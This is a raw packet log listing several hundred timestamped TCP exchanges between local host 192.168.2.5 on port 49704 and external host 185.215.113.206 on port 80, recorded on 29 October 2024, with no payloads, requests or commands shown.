Oct 29, 2024 20:34:56.293137074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.296582937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.296612978 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.296644926 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.296662092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.296664000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.296700954 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.296704054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.296737909 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.296750069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.296782970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.296787977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.296819925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.296825886 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.296854019 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.296855927 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.296886921 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.296891928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.296920061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.296924114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.296952009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.296957016 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.296986103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.296989918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.297017097 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.297018051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.297051907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.297060013 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.297090054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.297571898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.297605991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.297615051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.297640085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.297643900 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.297673941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.297677994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.297709942 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.297828913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.297868967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.297902107 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.297935009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.297940969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.297967911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.297971964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298002958 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298131943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298175097 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298264980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298299074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298305988 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298333883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298337936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298367023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298372984 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298402071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298404932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298434973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298440933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298471928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298480988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298508883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298527002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298544884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298732042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298764944 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298777103 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298799038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298801899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298835039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298880100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298912048 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298918009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298945904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298948050 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.298979044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.298981905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.299011946 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.299012899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.299046040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.299051046 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.299078941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.299082994 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.299113989 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.299114943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.299148083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.299150944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.299185038 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.299686909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.299737930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.442375898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.442436934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.442473888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.442507982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.442507982 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.442542076 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.442555904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.442569971 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.442590952 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.442611933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.442625999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.442631960 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.442662001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.442744017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.442778111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.442786932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.442811012 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.442828894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.442851067 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.442864895 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.442902088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.442905903 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.442934036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.442945004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.442975044 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.442985058 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443027020 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443033934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443068027 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443072081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443100929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443108082 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443135023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443140030 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443173885 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443200111 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443245888 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443248987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443283081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443286896 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443322897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443332911 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443366051 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443372965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443403959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443414927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443449974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443454981 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443485022 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443490028 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443516970 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443523884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443550110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443567991 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443587065 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443603039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443635941 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443640947 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443667889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443676949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443701029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443702936 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443733931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443739891 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443767071 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443773985 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443806887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443815947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443855047 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443866014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443893909 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443903923 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443928957 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443943024 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.443980932 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.443991899 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444031954 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444041014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444073915 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444076061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444107056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444117069 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444143057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444143057 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444175005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444180965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444209099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444225073 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444237947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444242001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444272995 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444284916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444318056 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444325924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444353104 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444356918 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444386005 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444390059 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444417953 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444426060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444451094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444457054 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444483042 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444487095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444518089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444530964 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444570065 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444580078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444613934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444619894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444645882 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444652081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444679976 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444683075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444708109 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444715023 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444751024 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444765091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444804907 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444814920 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444848061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444854021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444880962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444884062 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444914103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444919109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444942951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.444963932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.444992065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445005894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445023060 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445024014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445059061 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445075035 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445117950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445126057 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445158958 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445163965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445190907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445195913 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445224047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445226908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445256948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445260048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445290089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445295095 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445327997 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445338011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445370913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445379019 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445405006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445410013 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445441961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445456982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445504904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445513964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445539951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445547104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445569038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445575953 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445600986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445604086 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445632935 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445637941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445666075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445672035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445708990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445715904 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445751905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445765018 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445808887 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445815086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445852995 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445873976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445887089 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445894003 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445918083 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445926905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445950985 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445956945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.445986032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.445995092 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446018934 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446019888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446057081 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446067095 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446099997 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446110964 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446141005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446154118 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446198940 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446206093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446237087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446244955 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446270943 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446275949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446309090 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446319103 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446356058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446367025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446415901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446455002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446455002 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446464062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446496010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446508884 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446532965 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446533918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446568012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446568966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446603060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446611881 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446635962 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446643114 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446671963 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446686029 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446718931 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446729898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446753025 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446759939 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446789980 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446804047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446849108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446855068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446887016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446892977 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446921110 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446921110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446954966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.446965933 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.446999073 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447007895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447047949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447055101 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447082043 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447087049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447115898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447123051 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447149038 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447155952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447180033 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447185993 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447213888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447218895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447247028 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447271109 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447279930 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447284937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447329044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:34:56.447330952 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:34:56.447362900 CET	80	49704	185.215.113.206	192.168.2.5
